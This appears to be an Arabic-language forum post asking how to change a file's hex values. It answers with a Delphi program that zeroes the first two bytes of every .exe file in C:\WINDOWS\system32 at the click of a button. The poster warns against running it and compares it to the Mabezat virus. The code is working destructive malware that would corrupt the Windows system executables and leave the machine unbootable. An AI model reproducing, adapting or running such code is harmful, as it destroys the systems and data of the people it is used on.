كيف أغير قيم Hex لمف ما ؟

[onexite]

السلام عليكم

PHP كود :

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    btn1: TButton;
    procedure btn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
     procedure patch(f_n:string);
var target: file of byte;
i:Integer;
const
pbyte: array[1..2] of byte= ($00,$00);
paddr: array[1..2] of longint=($00000000, $00000001);
begin
assignFile(target,f_n);
reset(target);
for i:=1 to 2 do
begin
seek(target,paddr[i]);
write(target,pbyte[i]);
end;
closeFile(target);
 end;

procedure FileSearch(const PathName, FileName : string) ;
 var Rec : TSearchRec;
 Path : string;
 begin
 Path := IncludeTrailingPathDelimiter(PathName) ;
 if FindFirst (Path + FileName, faAnyFile - faDirectory, Rec) = 0 then
 try
 repeat
patch(Path + Rec.Name) ;
 until FindNext(Rec) <> 0;
 finally
 FindClose(Rec) ;
 end;
 end;


procedure TForm1.btn1Click(Sender: TObject);
begin
 FileSearch('C:\WINDOWS\system32','*.exe');
end;

end. 


حذاري من استعماله على جهازك يشبه عمله عمل فيروس Mabezat اذا صحت تسميته :p